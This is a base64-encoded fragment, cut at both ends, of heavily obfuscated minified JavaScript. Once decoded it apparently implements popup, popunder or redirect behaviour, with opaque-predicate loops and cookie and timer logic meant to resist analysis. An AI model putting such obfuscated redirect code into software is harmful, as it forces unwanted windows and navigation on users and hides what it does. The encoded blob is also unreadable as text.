lLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVuZ3RoLDYyNDUzKSE9PVkxKXtzW0VjJUdyLWJhXShlW0hpXSxlW3BdKTtzW2RhJUdyKmJhXShlW29jXSxlW0thXSk7c1tFaV1bWl0odCk7cihzKTt9c1tFYytHcitiYV0oZVtIaV0sZVtwXSk7c1tkYStHcitiYV0oZVtvY10sZVtLYV0pO3NbRWldW1pdKHQpO3Iocyk7fX0pO31jYXRjaCh0KXt9fX0pO1FjLnJlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5yZVtYdF09WmMueShRYy5uZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG8scztzPVpjLk8oZ3UpO2l1LksoeSxibyxmdW5jdGlvbigpe1pjLlAocyk7b1tFaV1bWl0odCk7cihvKTt9KTt3NS5vNCg0KTtvPXRoaXMudmUodzUuYzQoVWEsVnQsY2kpLEZpKTtzW3RvK0dyK3lhXVttcl1bcnJdKHRoaXMuRmUoKVsxXVtQbitHcithaStHcit4YytHcit6dCtHcitwYV0pO319KTtRYy5pZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuaWVbWHRdPVpjLnkoUWMudGVbWHRdLHtMZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47aT10aGlzO249eXU7dzUubzQoNCk7ZT10aGlzLnZlKHc1LmM0KFVhLFZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMD